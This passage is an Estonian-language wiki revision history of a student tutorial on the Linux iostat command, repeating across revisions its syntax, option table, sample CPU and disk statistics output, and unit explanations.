&amp;lt;td&amp;gt;-N&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Kuvab infot device mapper&#039;i kohta. Kasulik LVM2 jälgimiseks.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-p [ { device [,...] | ALL } ]&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuvab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-T&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Seda võtit peab kasutama koos -g võtmega ja määrab, et kuvatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-t&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näita iga raporti aega. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-V&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Prindi versiooni number ja tekst. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-x&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuva laiendatud statistikat. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-z&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
===Protsessori raport===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Iostat käsk ilma võtmeteta kuvab infot protsessori kasutuse kohta ja sisend/väljund infot kõikide ketaste ja kettajagude kohta, nagu allpool esitatud. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.72      1096.66      1598.70 2719068704 3963827344&lt;br /&gt;
sda1            178.20       773.45      1329.09 1917686794 3295354888&lt;br /&gt;
sda2             16.51       323.19       269.61  801326686  668472456&lt;br /&gt;
sdb             371.31       945.97      1073.33 2345452365 2661206408&lt;br /&gt;
sdb1            371.31       945.95      1073.33 2345396901 2661206408&lt;br /&gt;
sdc             408.03       207.05       972.42  513364213 2411023092&lt;br /&gt;
sdc1            408.03       207.03       972.42  513308749 2411023092&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Iostat võtmega -c kuvab infot ainult protsessori kasutuse kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -c&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Iostat võtmega -d kuvab infot ainult ketaste ja kettajagude kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -d&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.71      1096.61      1598.63 2719068720 3963827704&lt;br /&gt;
sda1            178.20       773.41      1329.03 1917686810 3295355248&lt;br /&gt;
sda2             16.51       323.18       269.60  801326686  668472456&lt;br /&gt;
sdb             371.29       945.93      1073.28 2345452365 2661209192&lt;br /&gt;
sdb1            371.29       945.91      1073.28 2345396901 2661209192&lt;br /&gt;
sdc             408.01       207.04       972.38  513364213 2411024484&lt;br /&gt;
sdc1            408.01       207.02       972.38  513308749 2411024484&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kasutatud ühikud&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;p&amp;gt;Protsessori raportis kasutatud ühikud on esitatud järgnevas tabelis. [http://linux.die.net/man/1/iostat]&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%user&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja (programmi) tasemel. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%nice&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja prioriteediga &#039;&#039;nice&#039;&#039; tasemel. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%system&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine süsteemi tasemel.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%iowait&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsenti ajast mil protsessor oli tegevusetu siis, kui süsteem sai olulise sisend/väljund nõude.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%steal&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsenti ajast mil virtuaalne protsessor oli ooteajal, sest &#039;&#039;hypervisor&#039;&#039; tegeles teise virtuaalse protsessoriga.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%idle&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsenti ajast mil protsessor oli tegevusetu ja süsteemil polnud olulisi sisend/väljund nõudeid.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;tps&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Ülekandeid sekundis. Ülekanne on seadmele edastatud sisend/väljund soov.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_read/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kui palju andmeid on seadmelt loetud, esitatud kujul plokkide arv sekundis.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_wrtn/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kui palju andmeid on seadmele kirjutatud, esitatud kujul plokkide arv sekundis.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_read&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Loetud plokkide koguarv.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_wrtn&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kirjutatud plokkide koguarv.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82571</id>
		<title>Iostat</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82571"/>
		<updated>2014-11-13T15:03:34Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= Iostat =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Elina Prudnikova A21&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
=== Lühikirjeldus ===&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Iostat&#039;i kasutatakse sisend/väljund  seadmete toimimise jälgimiseks. Näitab infot ka protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat&#039;i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. Iostat genereerib kolme tüüpi raporteid: protsessori, seadmete ja võrgu kasutusest. Esimene raport näitab andmeid alates süsteemi alglaadimisest. Iga järgnev raport näitab aega alates eelmisest raportist. [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
=== Süntaks ===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Käsu süntaks on kujul: [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;pre&amp;gt;iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] &lt;br /&gt;
       [ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] &lt;br /&gt;
       [ -p [ device [,...] | ALL ] ] [ interval [ count ] ]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
=== Võtmed ===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Kasutatavad võtmed on: [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-c&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Kuvab protsessori kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-d&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuvab seadmete kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-g group_name { device [...] | ALL }&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Kuvab seadmete grupi statistikat. Kuvatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-h&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-k&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Määra ühikuteks kb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-m&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Määra ühikuteks Mb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-N&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Kuvab infot device mapper&#039;i kohta. Kasulik LVM2 jälgimiseks.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-p [ { device [,...] | ALL } ]&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuvab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-T&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Seda võtit peab kasutama koos -g võtmega ja määrab, et kuvatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-t&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näita iga raporti aega. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-V&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Prindi versiooni number ja tekst. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-x&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuva laiendatud statistikat. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-z&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
===Protsessori raport===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Iostat käsk ilma võtmeteta kuvab infot protsessori kasutuse kohta ja sisend/väljund infot kõikide kettajagude kohta, nagu allpool esitatud. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.72      1096.66      1598.70 2719068704 3963827344&lt;br /&gt;
sda1            178.20       773.45      1329.09 1917686794 3295354888&lt;br /&gt;
sda2             16.51       323.19       269.61  801326686  668472456&lt;br /&gt;
sdb             371.31       945.97      1073.33 2345452365 2661206408&lt;br /&gt;
sdb1            371.31       945.95      1073.33 2345396901 2661206408&lt;br /&gt;
sdc             408.03       207.05       972.42  513364213 2411023092&lt;br /&gt;
sdc1            408.03       207.03       972.42  513308749 2411023092&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Protsessori raporti ühikud&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;p&amp;gt;Protsessori raportis kasutatud ühikud on esitatud järgnevas tabelis. [http://linux.die.net/man/1/iostat]&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;tps&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Ülekandeid sekundis. Ülekanne on seadmele edastatud sisend/väljund soov.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_read/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kui palju andmeid on seadmelt loetud, esitatud kujul plokkide arv sekundis.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_wrtn/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kui palju andmeid on seadmele kirjutatud, esitatud kujul plokkide arv sekundis.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_read&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Loetud plokkide koguarv.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_wrtn&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kirjutatud plokkide koguarv.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82570</id>
		<title>Iostat</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82570"/>
		<updated>2014-11-13T14:32:16Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= Iostat =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Elina Prudnikova A21&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Iostat&#039;i kasutatakse sisend/väljund  seadmete toimimise jälgimiseks. Näitab infot ka protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat&#039;i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. &lt;br /&gt;
&lt;br /&gt;
Esimene raport näitab andmeid alates süsteemi alglaadimisest. Iga järgnev raport näitab aega alates eelmisest raportist. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
== Süntaks ==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] &lt;br /&gt;
       [ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] &lt;br /&gt;
       [ -p [ device [,...] | ALL ] ] [ interval [ count ] ]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
== Võtmed ==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-c&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Näitab protsessori kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-d&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näitab seadmete kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-g group_name { device [...] | ALL }&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Näitab seadmete grupi statistikat. Näidatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-h&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-k&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Näitab andmeid kb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-m&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Näitab andmeid Mb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-N&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Näitab infot device mapper&#039;i kohta. Kasulik LVM2 jälgimiseks.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-p [ { device [,...] | ALL } ]&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näitab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-T&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Seda võtit peab kasutama koos -g võtmega ja määrab, et näidatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-t&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näita iga raporti aega. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-V&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Prindi versiooni number ja tekst. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-x&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näita laiendatud statistikat. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-z&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82569</id>
		<title>Iostat</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82569"/>
		<updated>2014-11-13T14:29:03Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= Iostat =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Elina Prudnikova A21&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Iostat&#039;i kasutatakse sisend/väljund  seadmete toimimise jälgimiseks. Näitab infot ka protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat&#039;i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. &lt;br /&gt;
&lt;br /&gt;
Esimene raport näitab andmeid alates süsteemi alglaadimisest. Iga järgnev raport näitab aega alates eelmisest raportist. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
== Süntaks ==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] &lt;br /&gt;
       [ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] &lt;br /&gt;
       [ -p [ device [,...] | ALL ] ] [ interval [ count ] ]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
== Võtmed ==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-c&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Näitab protsessori kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
